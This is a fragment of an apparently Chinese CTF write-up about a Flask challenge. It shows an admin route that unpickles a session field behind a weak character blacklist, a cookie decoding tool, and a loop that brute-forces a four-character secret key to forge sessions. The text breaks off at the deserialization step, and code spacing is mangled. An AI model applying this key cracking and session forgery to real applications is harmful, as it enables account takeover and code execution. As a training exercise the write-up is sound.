@app.route('/admin') defadmin(): if session.get('user') != "admin": returnf"<script>alert('Access Denied');window.location.href='/'</script>" else: try: a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") ifb'R'in a orb'i'in a orb'o'in a orb'b'in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data'))) return"ok" except: return"error!"
if __name__ == '__main__': app.run(host='0.0.0.0', port=8888)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure) except Exception as e: return"[Encoding error] {}".format(e) raise e
defdecode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if (secret_key == None): compressed = False payload = session_cookie_value
if payload.startswith('.'): compressed = True payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data) if compressed: data = zlib.decompress(data)
return data else: app = MockApp(secret_key)
si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)
return s.loads(session_cookie_value) except Exception as e: return"[Decoding error] {}".format(e) raise e
dic = '0123456789abcdef' if __name__ == '__main__': for i in dic: for j in dic: for k in dic: for l in dic: key = i + j + k + l res = FSCM.decode('eyJ1c2VyIjoibm5tbW4ifQ.ZPbyDQ.oMy8j6S13C-Z0hgPnuqugMxOrc4', key) # print(res) if'user'instr(res): print(key) exit()
运行这个脚本,爆破出密钥为:fae0,然后就可以通过密钥伪造session了
但是这里存在pickle反序列化漏洞:
1 2 3 4
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") ifb'R'in a orb'i'in a orb'o'in a orb'b'in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data')))